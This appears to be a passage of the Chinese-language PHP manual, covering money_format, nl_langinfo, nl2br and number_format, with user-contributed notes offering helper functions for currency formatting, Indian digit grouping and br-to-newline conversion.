number_format_drop_zero_decimals(54.377, 2) ==> 54.38
number_format_drop_zero_decimals('54.377', 2) ==> 54.38
number_format_drop_zero_decimals(54.377, 3) ==> 54.377
number_format_drop_zero_decimals(54.007, 2) ==> 54.01
number_format_drop_zero_decimals(54.000, 2) ==> 54
number_format_drop_zero_decimals(54.00, 2) ==> 54
number_format_drop_zero_decimals(54.0, 2) ==> 54
number_format_drop_zero_decimals(54.1, 2) ==> 54.10
number_format_drop_zero_decimals(54., 2) ==> 54
number_format_drop_zero_decimals(54, 2) ==> 54
number_format_drop_zero_decimals(54, 3) ==> 54
number_format_drop_zero_decimals(54 + .13, 2) ==> 54.13
number_format_drop_zero_decimals(54 + .00, 2) ==> 54
number_format_drop_zero_decimals(54.0007, 4) ==> 54.0007
number_format_drop_zero_decimals(54.0007, 3) ==> 54.001
number_format_drop_zero_decimals(54.00007, 3) ==> 54  //  take notice
~B 17-Aug-2012 04:58
We found that after switching from Ubuntu 10.04 php -v 5.3.2, to Ubuntu 12.04 php -v 5.3.10 this no longer worked:

<?php setlocale(LC_MONETARY, 'en_US'); ?>

Found that using:

<?php setlocale(LC_MONETARY, 'en_US.UTF-8'); ?>

worked find
phpdeveloperbalaji at gmail dot com 28-Sep-2011 01:04
Hi,

For South Asian Currencies, this function could be a handy one.

It will handle negative as well as float(Paise).

<?php
function my_money_format($number)
{
    if(strstr($number,"-"))
    {
        $number = str_replace("-","",$number);
        $negative = "-";
    }

    $split_number = @explode(".",$number);

    $rupee = $split_number[0];
    $paise = @$split_number[1];

    if(@strlen($rupee)>3)
    {
        $hundreds = substr($rupee,strlen($rupee)-3);
        $thousands_in_reverse = strrev(substr($rupee,0,strlen($rupee)-3));
        for($i=0; $i<(strlen($thousands_in_reverse)); $i=$i+2)
        {
            $thousands .= $thousands_in_reverse[$i].$thousands_in_reverse[$i+1].",";
        }
        $thousands = strrev(trim($thousands,","));
        $formatted_rupee = $thousands.",".$hundreds;

    }
    else
    {
        $formatted_rupee = $rupee;
    }

    if((int)$paise>0)
    {
        $formatted_paise = ".".substr($paise,0,2);
    }

    return $negative.$formatted_rupee.$formatted_paise;

}
?>

Thanks,
andrey.dobrozhanskiy [-a-t-] gmail com 07-Jul-2010 09:43
This function divides integer value by commas. F.e.

<?php
echo formatMoney(1050); # 1,050
echo formatMoney(1321435.4, true); # 1,321,435.40
echo formatMoney(10059240.42941, true); # 10,059,240.43
echo formatMoney(13245); # 13,245

function formatMoney($number, $fractional=false) {
    if ($fractional) {
        $number = sprintf('%.2f', $number);
    }
    while (true) {
        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
        if ($replaced != $number) {
            $number = $replaced;
        } else {
            break;
        }
    }
    return $number;
}
?>
Rafael M. Salvioni 19-Feb-2009 12:20
This is a some function posted before, however various bugs were corrected.

Thank you to Stuart Roe by reporting the bug on printing signals.

<?php
/*
That it is an implementation of the function money_format for the
platforms that do not it bear.

The function accepts to same string of format accepts for the
original function of the PHP.

(Sorry. my writing in English is very bad)

The function is tested using PHP 5.1.4 in Windows XP
and Apache WebServer.
*/
function money_format($format, $number)
{
    $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
              '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
    if (setlocale(LC_MONETARY, 0) == 'C') {
        setlocale(LC_MONETARY, '');
    }
    $locale = localeconv();
    preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
    foreach ($matches as $fmatch) {
        $value = floatval($number);
        $flags = array(
            'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                           $match[1] : ' ',
            'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
            'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                           $match[0] : '+',
            'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
            'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
        );
        $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
        $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
        $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
        $conversion = $fmatch[5];

        $positive = true;
        if ($value < 0) {
            $positive = false;
            $value  *= -1;
        }
        $letter = $positive ? 'p' : 'n';

        $prefix = $suffix = $cprefix = $csuffix = $signal = '';

        $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
        switch (true) {
            case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                $prefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                $suffix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                $cprefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                $csuffix = $signal;
                break;
            case $flags['usesignal'] == '(':
            case $locale["{$letter}_sign_posn"] == 0:
                $prefix = '(';
                $suffix = ')';
                break;
        }
        if (!$flags['nosimbol']) {
            $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
        } else {
            $currency = '';
        }
        $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

        $value = number_format($value, $right, $locale['mon_decimal_point'],
                 $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
        $value = @explode($locale['mon_decimal_point'], $value);

        $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
        if ($left > 0 && $left > $n) {
            $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
        }
        $value = implode($locale['mon_decimal_point'], $value);
        if ($locale["{$letter}_cs_precedes"]) {
            $value = $prefix . $currency . $space . $value . $suffix;
        } else {
            $value = $prefix . $value . $space . $currency . $suffix;
        }
        if ($width > 0) {
            $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                     STR_PAD_RIGHT : STR_PAD_LEFT);
        }

        $format = str_replace($fmatch[0], $value, $format);
    }
    return $format;
}

?>
jeremy 30-Sep-2008 10:41
If money_format doesn't seem to be working properly, make sure you are defining a valid locale.  For example, on Debian, 'en_US' is not a valid locale - you need 'en_US.UTF-8' or 'en_US.ISO-8559-1'.

This was frustrating me for a while.  Debian has a list of valid locales at /usr/share/i18n/SUPPORTED; find yours there if it's not working properly.
swapnet 22-Jul-2008 08:24
Consider formatting currency for some South Asian countries that use ##,##,###.## money format.
The following code generates something like Rs. 4,54,234.00 and so on.

<?php
function convertcash($num, $currency){
    if(strlen($num)>3){
            $lastthree = substr($num, strlen($num)-3, strlen($num));
            $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
            $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.

            $expunit = str_split($restunits, 2);
            for($i=0; $i<sizeof($expunit); $i++){
                $explrestunits .= (int)$expunit[$i].","; // creates each of the 2's group and adds a comma to the end
            }

            $thecash = $explrestunits.$lastthree;
    } else {
           $thecash = $convertnum;
    }

    return $currency.$thecash.".00"; // writes the final format where $currency is the currency symbol.
}
?>

now call the function as  convertcash($row['price'], 'Rs '); // that's the price from the database I called using an Indian Rupees prefix where the price has to be a plain number format, say something like 454234.
scot from ezyauctionz.co.nz 06-Oct-2007 03:10
This is a handy little bit of code I just wrote, as I was not able to find anything else suitable for my situation.
This will handle monetary values that are passed to the script by a user, to reformat any comma use so that it is not broken when it passes through an input validation system that checks for a float.

It is not foolproof, but will handle the common input as most users would input it, such as 1,234,567 (outputs 1234567) or 1,234.00 (outputs 1234.00), even handles 12,34 (outputs 12.34), I expect it would work with negative numbers, but have not tested it, as it is not used for that in my situation.

This worked when other options such as money_format() were not suitable or possible.

<?php
///////////////
// BEGIN CODE convert all price amounts into well formatted values
function converttonum($convertnum,$fieldinput){
        $bits = explode(",",$convertnum); // split input value up to allow checking

        $first = strlen($bits[0]); // gets part before first comma (thousands/millions)
        $last = strlen($bits[1]); // gets part after first comma (thousands (or decimals if incorrectly used by user)

        if ($last <3){ // checks for comma being used as decimal place
            $convertnum = str_replace(",",".",$convertnum);
        }
        else{ // assume comma is a thousands seperator, so remove it
            $convertnum = str_replace(",","",$convertnum);
        }

        $_POST[$fieldinput] = $convertnum; // redefine the vlaue of the variable, to be the new corrected one
}

@converttonum($_POST[inputone],"inputone");
@converttonum($_POST[inputtwo],"inputtwo");
@converttonum($_POST[inputthree],"inputthree");
// END CODE
//////////////

?>

This is suitable for the English usage, it may need tweaking to work with other types.
richard dot selby at uk dot clara dot net 17-Feb-2006 07:02
Double check that money_format() is defined on any version of PHP you plan your code to run on.  You might be surprised.

For example, it worked on my Linux box where I code, but not on  servers running  BSD 4.11 variants. (This is presumably because strfmon  is not defined - see note at the top of teis page). It's not just a windows/unix issue.


Query language and locale information

  • ? money_format
  • nl2br ?
  • PHP Manual
  • 字符串 函数
  • Query language and locale information

nl_langinfo

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

nl_langinfo — Query language and locale information

说明

nl_langinfo ( int $item ) : string

nl_langinfo() is used to access individual elements of the locale categories. Unlike localeconv(), which returns all of the elements, nl_langinfo() allows you to select any specific element.

参数

item

item may be an integer value of the element or the constant name of the element. The following is a list of constant names for item that may be used and their description. Some of these constants may not be defined or hold no value for certain locales.

nl_langinfo Constants
Constant | Description
LC_TIME Category Constants
ABDAY_(1-7) | Abbreviated name of n-th day of the week.
DAY_(1-7) | Name of the n-th day of the week (DAY_1 = Sunday).
ABMON_(1-12) | Abbreviated name of the n-th month of the year.
MON_(1-12) | Name of the n-th month of the year.
AM_STR | String for Ante meridian.
PM_STR | String for Post meridian.
D_T_FMT | String that can be used as the format string for strftime() to represent time and date.
D_FMT | String that can be used as the format string for strftime() to represent date.
T_FMT | String that can be used as the format string for strftime() to represent time.
T_FMT_AMPM | String that can be used as the format string for strftime() to represent time in 12-hour format with ante/post meridian.
ERA | Alternate era.
ERA_YEAR | Year in alternate era format.
ERA_D_T_FMT | Date and time in alternate era format (string can be used in strftime()).
ERA_D_FMT | Date in alternate era format (string can be used in strftime()).
ERA_T_FMT | Time in alternate era format (string can be used in strftime()).
LC_MONETARY Category Constants
INT_CURR_SYMBOL | International currency symbol.
CURRENCY_SYMBOL | Local currency symbol.
CRNCYSTR | Same value as CURRENCY_SYMBOL.
MON_DECIMAL_POINT | Decimal point character.
MON_THOUSANDS_SEP | Thousands separator (groups of three digits).
MON_GROUPING | Like "grouping" element.
POSITIVE_SIGN | Sign for positive values.
NEGATIVE_SIGN | Sign for negative values.
INT_FRAC_DIGITS | International fractional digits.
FRAC_DIGITS | Local fractional digits.
P_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a positive value.
P_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a positive value.
N_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a negative value.
N_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a negative value.
P_SIGN_POSN
  • Returns 0 if parentheses surround the quantity and CURRENCY_SYMBOL.
  • Returns 1 if the sign string precedes the quantity and CURRENCY_SYMBOL.
  • Returns 2 if the sign string follows the quantity and CURRENCY_SYMBOL.
  • Returns 3 if the sign string immediately precedes the CURRENCY_SYMBOL.
  • Returns 4 if the sign string immediately follows the CURRENCY_SYMBOL.
N_SIGN_POSN
LC_NUMERIC Category Constants
DECIMAL_POINT | Decimal point character.
RADIXCHAR | Same value as DECIMAL_POINT.
THOUSANDS_SEP | Separator character for thousands (groups of three digits).
THOUSEP | Same value as THOUSANDS_SEP.
GROUPING
LC_MESSAGES Category Constants
YESEXPR | Regex string for matching "yes" input.
NOEXPR | Regex string for matching "no" input.
YESSTR | Output string for "yes".
NOSTR | Output string for "no".
LC_CTYPE Category Constants
CODESET | Return a string with the name of the character encoding.

返回值

Returns the element as a string, or FALSE if item is not valid.

注释

Note: 此函数未在 Windows 平台下实现。

参见

  • setlocale() - 设置地区信息
  • localeconv() - Get numeric formatting information

User Contributed Notes

mark at moderndeveloper dot com 15-Nov-2013 03:23
If you are looking for the stand-alone (nominative form) of a month, you may not be able to use nl_langinfo(), but with PHP 5.5 you can use something like:

<?php
echo IntlDateFormatter::formatObject(
         new DateTime('2013-01-01 00:00:00 Europe/Moscow'),
         'LLLL',
         'ru_RU');
?>

Note that the format uses the ICU patterns, not the PHP date() patterns.
avatar_at_hot_ee 11-Mar-2006 07:58
The value MON_(1-12) has special behavior in Russian locale: it returns declinated month names, that can be used as part of a date string, but not on their own.

For instance instead of "Январь" (the proper nominative form) it returns "Января" (form declinated for use in dates).

There seems to be no way to get the nominative form of the month name - one has to use translations instead.


在字符串所有新行之前插入 HTML 换行标记

  • ? nl_langinfo
  • number_format ?
  • PHP Manual
  • 字符串 函数
  • 在字符串所有新行之前插入 HTML 换行标记

nl2br

(PHP 4, PHP 5, PHP 7)

nl2br — 在字符串所有新行之前插入 HTML 换行标记

说明

nl2br ( string $string [, bool $is_xhtml = TRUE ] ) : string

在字符串 string 所有新行之前插入 '<br />' 或 '<br>'，并返回。

参数

string

输入字符串。

is_xhtml

是否使用 XHTML 兼容换行符。

返回值

返回调整后的字符串。

范例

Example #1 nl2br() 使用范例

<?php
echo nl2br("foo isn't\n bar");
?>

以上例程会输出：

foo isn't<br />
 bar

Example #2 使用 is_xhtml 生成合法的 HTML 标记

<?php
echo nl2br("Welcome\r\nThis is my HTML document", false);
?>

以上例程会输出：

Welcome<br>
This is my HTML document

Example #3 各种换行分隔符

<?php
$string = "This\r\nis\n\ra\nstring\r";
echo nl2br($string);
?>

以上例程会输出：

This<br />
is<br />
a<br />
string<br />

更新日志

版本 | 说明
5.3.0 | 新增可选的 is_xhtml 参数。在此之前，总是插入 '<br />'。

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • htmlentities() - 将字符转换为 HTML 转义字符
  • wordwrap() - 打断字符串为指定数量的字串
  • str_replace() - 子字符串替换

User Contributed Notes

aabaev 16-Nov-2018 07:09
double quotes !== single quotes

php > echo nl2br('\r\n');
\r\n
php > echo nl2br("\r\n");
<br />
buzanits at gmail dot com 07-Nov-2017 03:39
If you write code that is to run in browser AND on the shell, this function could be useful. It uses PHP_EOL or <br /> depending on the platform it runs:

<?php
function nl($string) {
  if(isset($_SERVER['SHELL'])) return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
  return nl2br($string);
}

print nl("One\nTwo<br>Three\r\nFour<br />Five
Six" . PHP_EOL);
?>
chad at nobodyfamous dot ca 16-Aug-2017 01:07
I just spent a whole day trying to figure out why my textarea $_POST was not getting <br /> tags added by nl2br().  So for others

<?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_SPECIAL_CHARS); ?> returns newlines as  &#13; and &#10; so nl2br will miss them.

rather use <?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_STRING); ?> and newlines will remain intact so nl2br will pick them up.
Justinas M. 02-May-2016 07:02
This is example with "\R" regex token which matches any unicode newline character.
"u" flag treate strings as UTF-16. Which is optional, depending on your use case.

<?php

public function nl2br($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

?>

NOTE:
preg_replace versions are much slower than using str_replace version or built-in nl2br.
Check out pcre.backtrack_limit php.ini setting for information about PCRE limit. It's good to know.

Some PHP7 benchmarks:
<?php

// nl2br()

function nl2br_str($string) {
  return str_replace(["\r\n", "\r", "\n"], '<br/>', $string);
}

function nl2br_preg_R($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

function nl2br_preg_rnnr($string)
{
  return preg_replace('/(\r\n|\n|\r)/', '<br/>', $string);
}

?>

 # nl2br
 ## Time: 0.02895712852478 s

 # nl2br_str
 ## Time: 0.027923107147217 s

 # nl2br_preg_R
 ## Time: 0.13350105285645 s

 # nl2br_preg_rnnr
 ## Time: 0.14213299751282 s
leo dot mauro dot desenv at gmail dot com 17-Sep-2015 12:36
I test empirically this function nl2br and nl2br2 (create by ngkongs at gmail dot com).
Both work nice with different ASCII chars for linebreak, but the function nl2br2 is faster than nl2br.

nl2br2 ~ 0.0000309944153 s
nl2br  ~ 0.0011141300201 s

The function nl2br2:
<?php
function nl2br2($string) {
  $string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
  return $string;
}
?>
fquffio at live dot it 10-Jun-2014 08:46
Starting from PHP 4.3.10 and PHP 5.0.2, this should be the most correct way to replace <br /> and <br> tags with newlines and carriage returns.
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl ( $string )
{
    return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
}
?>
(Please note this is a minor edit of this function: http://php.net/nl2br#86678 )

You might also want to be "platform specific", and therefore this function might be of some help:
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @param string The string to use as line separator
 * @return string The converted string
 */
function br2nl ( $string, $separator = PHP_EOL )
{
    $separator = in_array($separator, array("\n", "\r", "\r\n", "\n\r", chr(30), chr(155), PHP_EOL)) ? $separator : PHP_EOL;  // Checks if provided $separator is valid.
    return preg_replace('/\<br(\s*)?\/?\>/i', $separator, $string);
}
?>
darenschwenke at yahoo dot com 28-Jan-2014 07:15
This one works with br tags having attributes, in any case,
closed or  not closed, and does not double linefeeds

<?php
 /**
 * convert br tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */

function br2nl($string)
{
    return preg_replace("/<br[^>]*>\s*\r*\n*/is", "\n", $string);
}
?>

I combine this with strip_tags() for dead simple "contenteditable" fields allowing only text and linefeeds.
j dot mons54 at gmail dot com 29-May-2012 09:45
for bbcode :

<?php
$message =  nl2br(preg_replace('#(\\]{1})(\\s?)\\n#Usi', ']', stripslashes($message)));
?>
N/A 29-Oct-2008 07:41
Here's a more simple one:

<?php
/**
 * Convert BR tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl($string)
{
    return preg_replace('/\<br(\s*)?\/?\>/i', "\n", $string);
}
?>

Enjoy
blacknine313 at gmail dot com 01-Apr-2008 06:34
After a recent post at the forums on Dev Shed, I noticed that it isn't mentioned, so I will mention it.

nl2br returns pure HTML, so it should be after PHP anti-HTML functions ( such as strip_tags and htmlspecialchars ).
hyponiq at gmail dot com 25-Aug-2007 11:03
On the contrary, <b>mark at dreamjunky.comno-spam</b>, this function is rightfully named.  Allow me to explain.  Although it does re-add the line break, it does so in an attempt to stay standards-compliant with the W3C recommendations for code format.

According to said recommendations, a new line character must follow a line break tag.  In this situation, the new line is not removed, but a break tag is added for proper browser display where a paragraph isn't necessary or wanted.
ngkongs at gmail dot com 23-Feb-2007 04:12
to replace all linebreaks to <br />
the best solution (IMO) is:

<?php
function nl2br2($string) {
$string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
return $string;
}
?>

because each OS have different ASCII chars for linebreak:
windows = \r\n
unix = \n
mac = \r

works perfect for me
Anders Norrbring 09-Mar-2006 01:28
Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon.

I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like <Br> <bR /> and even <br            > or <br     />.

<?php
function br2nl($text)
{
    return  preg_replace('/<br\\s*?\/??>/i', '', $text);
}
?>
CGameProgrammer at gmail dot com 30-Jan-2005 05:28
It's important to remember that this function does NOT replace newlines with <br> tags. Rather, it inserts a <br> tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved.

If you don't want newlines, do:

<?php
$Result = str_replace( "\n", '<br />', $Text );
?>


以千位分隔符方式格式化一个数字

  • ? nl2br
  • ord ?
  • PHP Manual
  • 字符串 函数
  • 以千位分隔符方式格式化一个数字

number_format

(PHP 4, PHP 5, PHP 7)

number_format — 以千位分隔符方式格式化一个数字

说明

number_format ( float $number [, int $decimals = 0 ] ) : string
number_format ( float $number , int $decimals = 0 , string $dec_point = "." , string $thousands_sep = "," ) : string

本函数可以接受1个、2个或者4个参数（注意：不能是3个）:

如果只提供第一个参数，number的小数部分会被去掉 并且每个千位分隔符都是英文小写逗号","

如果提供两个参数，number将保留小数点后的位数到你设定的值，其余同楼上

如果提供了四个参数，number 将保留decimals个长度的小数部分, 小数点被替换为dec_point，千位分隔符替换为thousands_sep

参数

number

你要格式化的数字

decimals

要保留的小数位数

dec_point

指定小数点显示的字符

thousands_sep

指定千位分隔符显示的字符

返回值

格式化以后的 number.

更新日志

版本 | 说明
5.4.0 | This function now supports multiple bytes in dec_point and thousands_sep. Only the first byte of each separator was used in older versions.

范例

Example #1 number_format() Example

For instance, French notation usually use two decimals, comma (',') as decimal separator, and space (' ') as thousand separator. The following example demonstrates various way to format a number:

<?php

$number = 1234.56;

// english notation (default)
$english_format_number = number_format($number);
// 1,235

// French notation
$nombre_format_francais = number_format($number, 2, ',', ' ');
// 1 234,56

$number = 1234.5678;

// english notation without thousands separator
$english_format_number = number_format($number, 2, '.', '');
// 1234.57

?>

更新日志

版本 | 说明
7.2.0 | number_format() 现在无法返回 -0，之前可能返回 -0，因为 number 可能会是 -0.01。

参见

  • money_format() - 将数字格式化成货币字符串
  • sprintf() - Return a formatted string
  • printf() - 输出格式化字符串
  • sscanf() - 根据指定格式解析输入的字符

User Contributed Notes

mail at igor dot vodka 23-May-2019 11:56
Please be careful with stm555 at hotmail dot com's solution.
If you pass some little negative number (-1 < $number < 0) such as -0.01, the integer part would be converted to 0, so that the sign is eventually lost.
Here is a fixed version:

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode('.', abs($number));
           $sign = $number < 0 ? '-' : '';
           return $sign.number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
Lio 30-Nov-2017 01:43
Be carreful, when you're using French notation
means : number_format(124.25, 2 , ',' , ' ') with ',' as dec_point,

Don't forget to specify thousands_sep that default is ',' to another value, otherwise function will return null.
ismavolk at gmail dot com 01-Dec-2016 11:16
Number format not round

public static function numberFormatNotRound($n, $decs, $decPoint = '.', $thousandsSep = ',')
{
    $decs ++;
    $n = number_format($n, $decs, $decPoint, $thousandsSep);
    $n = substr($n, 0, -1);

    return $n;
}
patribezek at gmail dot com 04-Mar-2016 07:06
To separate big numbers like the spanish language you can do this:
Tis example is based on facebook followers:

number_format ($infoF  , 0 , ' , ' ,  '.');

it will output:

//1.187.037

instead of comas.
vlad at blox dot ru 05-Feb-2016 11:43
This function is used for reformatting already formatted numbers.
<?php
function formatNumber($number, $format=[], $oldDecimalSeparator=",.·'", $multiplier=1)
{
    /**
    $format — the array of formatting options, details in the example.
    $oldDecimalSeparator — decimal separator used in the $number. If the separator can meet different characters, then you need to record them all, for example: ',.'.
    $multiplier — typically used to adjust prices up or down.
    */
    if ($format) {
        $format += ['numOfDecimals' => 0, 'decimalSeparator' => '.', 'thousandSeparator' => '']; # Default format
        # Find decimal separator
        # The decimal separator is the one that is the last and does not occur more than once
        if ($letters = str_replace(' ', '', $number)) { # Replace spaces
            if ($letters = preg_replace('/^-/', '', $letters)) { # Remove minus
                if ($letters = preg_replace('/[0-9]/', '', $letters)) { # Get all non digits
                    $lastletter = substr($letters, -1); # Returns last char
                    if (substr_count($letters, $lastletter) == 1) {
                        if (strpos($oldDecimalSeparator, $lastletter)  !== false)
                            $oldDecimalSep = $lastletter;
                        else
                            return $number;
                    }
                }
            }
        }
        $number = preg_replace('/[^0-9-]/', '', $number); # Remove all non digits except 'minus'
        if ($oldDecimalSep)
            $number = str_replace($oldDecimalSep, '.', $number); # Format to float
        if ($multiplier != 1)
            $number = $number * $multiplier;
        # Convert float to new format
        $number = number_format($number,
            $format['numOfDecimals'],
            $format['decimalSeparator'],
            $format['thousandSeparator']
        );
    }
    return $number;
}

/**
Example. Formatting data in which the decimal separator can occur as the comma and dot. Formatting into Russian format: -12 345,67
*/
echo formatNumber($number, [
    'numOfDecimals' => 2,
    'decimalSeparator' => ',',
    'thousandSeparator' => '&nbsp;'
], ',.');

?>
besciualexandru at gmail dot com 29-Oct-2015 08:09
// Here is a function that produces the same output as number_format() but also works with numbers bigger than 2^53.

function a_number_format($number_in_iso_format, $no_of_decimals=3, $decimals_separator='.', $thousands_separator='', $digits_grouping=3){
    // Check input variables
    if (!is_numeric($number_in_iso_format)){
        error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$number_in_iso_format is not a number.");
        return false;
    }
    if (!is_numeric($no_of_decimals)){
        error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$no_of_decimals is not a number.");
        return false;
    }
    if (!is_numeric($digits_grouping)){
        error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$digits_grouping is not a number.");
        return false;
    }

    // Prepare variables
    $no_of_decimals = $no_of_decimals * 1;

    // Explode the string received after DOT sign (this is the ISO separator of decimals)
    $aux = explode(".", $number_in_iso_format);
    // Extract decimal and integer parts
    $integer_part = $aux[0];
    $decimal_part = isset($aux[1]) ? $aux[1] : '';

    // Adjust decimal part (increase it, or minimize it)
    if ($no_of_decimals > 0){
        // Check actual size of decimal_part
        // If its length is smaller than number of decimals, add trailing zeros, otherwise round it
        if (strlen($decimal_part) < $no_of_decimals){
            $decimal_part = str_pad($decimal_part, $no_of_decimals, "0");
        } else {
            $decimal_part = substr($decimal_part, 0, $no_of_decimals);
        }
    } else {
        // Completely eliminate the decimals, if there $no_of_decimals is a negative number
        $decimals_separator = '';
        $decimal_part       = '';
    }

    // Format the integer part (digits grouping)
    if ($digits_grouping > 0){
        $aux = strrev($integer_part);
        $integer_part = '';
        for ($i=strlen($aux)-1; $i >= 0 ; $i--){
            if ( $i % $digits_grouping == 0 && $i != 0){
                $integer_part .= "{$aux[$i]}{$thousands_separator}";
            } else {
                $integer_part .= $aux[$i];
            }
        }
    }

    $processed_number = "{$integer_part}{$decimals_separator}{$decimal_part}";
    return $processed_number;
}

$original_number= 9223372036854775805;
echo a_number_format($original_number, 4, '.',"'",3);
// Outputs: 9'223'372'036'854'775'805.1230
kryss dot schuenemann at egba dot ba dot gov dot br 06-Jun-2015 01:07
//Cep Brasil
    function getCEP($cep){
        return number_format(substr($cep, 0, 5),0,"",".").'-'.substr($cep, 5, 3);
    }
//Saida 12.345-67
mobi dot lenoe at gmail dot com 28-Oct-2013 08:13
I'd like to comment to the old notes of "stm555" and "woodynadobhar".
They wrote about "number_format_unlimited_precision()".
I guess many of us need that kind of function, which is the almost same function as number_format but don't round a number.

Does Anyone know any new solution in a recent PHP version?

...
If no, how about the following function? (I fixed somethings like bugs of the function in the old comment.)
<?php
function number_format_unchanged_precision($number, $dec_point='.', $thousands_sep=','){
    if($dec_point==$thousands_sep){
        trigger_error('2 parameters for ' . __METHOD__ . '() have the same value, that is "' . $dec_point . '" for $dec_point and $thousands_sep', E_USER_WARNING);
        // It corresponds "PHP Warning:  Wrong parameter count for number_format()", which occurs when you use $dec_point without $thousands_sep to number_format().
    }
    if(preg_match('{\.\d+}', $number, $matches)===1){
        $decimals = strlen($matches[0]) - 1;
    }else{
        $decimals = 0;
    }
    return number_format($number, $decimals, $dec_point, $thousands_sep);
}
var_dump(number_format_unchanged_precision(1234.5678, ',', '.'));
var_dump(number_format_unchanged_precision(1234.5678, ','));
var_dump(number_format_unchanged_precision(12345678));
var_dump(number_format_unchanged_precision(-0.5678, ',', '.'));  // It occurred a bug with the function in the old comment.
?>
output is:
    string(10) "1.234,5678"
    PHP Warning:  2 parameters for number_format_unchanged_precision() have the same value, that is "," for $dec_point and $thousands_sep in...
    string(10) "1,234,5678"
    string(10) "12,345,678"
    string(7) "-0,5678"
tomislav at firmus-grupa dot hr 03-Mar-2013 05:01
When apply number_format on number with separator on thousands, result is wrong. This function accept number of any format
<?php
function format_price($number,$decPlaces,$decSep,$thouSep){

    //$number - number for format
    //$decPlaces - number of decimal places
    //$decSep - separator for decimals
    //$thouSep - separator for thousands

    //first remove all white spaces
    $number=preg_replace('/\s+/', '',$number);
    //split string into array
    $numberArr = str_split($number);
    //reverse array and not preserve key, keys will help to find decimal place
    $numberArrRev=array_reverse($numberArr);

    //find first occurrence of non number character, that will be a decimal place
    //store $key into variable $decPointIsHere
    foreach ($numberArrRev as $key => $value) {
        if(!is_numeric($value)){
            if($decPointIsHere==""){
                $decPointIsHere=$key;
            }
        }
    }

    //decimal comma or whatever it is replace with dot
    //$decPointIsHere is the key of the element that will contain decimal separator dot
    if($decPointIsHere!=""){
        $numberArrRev[$decPointIsHere]=".";
    }

    //again check through array for non numerical characters but skipping allready processed keys
    //if is not number remove from array

    foreach ($numberArrRev as $key => $value) {
        if(!is_numeric($value) && $key>$decPointIsHere){
            unset($numberArrRev[$key]);
        }
    }

    //reverse back, at the start reversed array $numberArrRev to $numberArr
    $numberArr=array_reverse($numberArrRev);

    //create string from array
    $numberClean=implode("",$numberArr);

    // apply php number_format function
    return number_format($numberClean,$decPlaces,$decSep,$thouSep);

}

echo format_price("1 225 552, 55",2,',',' ')."<br>";
echo format_price("1.225.552, 55",2,',',' ')."<br>";
echo format_price("1'225'552. 55",2,',',' ')."<br>";
echo format_price("1225552.55",2,',',' ')."<br>";
?>
all results are: 1 225 552,55
vgurudev at nikshepa dot com 04-May-2012 08:37
<?php

    function convertNumberToWordsForIndia($number){
        //A function to convert numbers into Indian readable words with Cores, Lakhs and Thousands.
        $words = array(
        '0'=> '' ,'1'=> 'one' ,'2'=> 'two' ,'3' => 'three','4' => 'four','5' => 'five',
        '6' => 'six','7' => 'seven','8' => 'eight','9' => 'nine','10' => 'ten',
        '11' => 'eleven','12' => 'twelve','13' => 'thirteen','14' => 'fouteen','15' => 'fifteen',
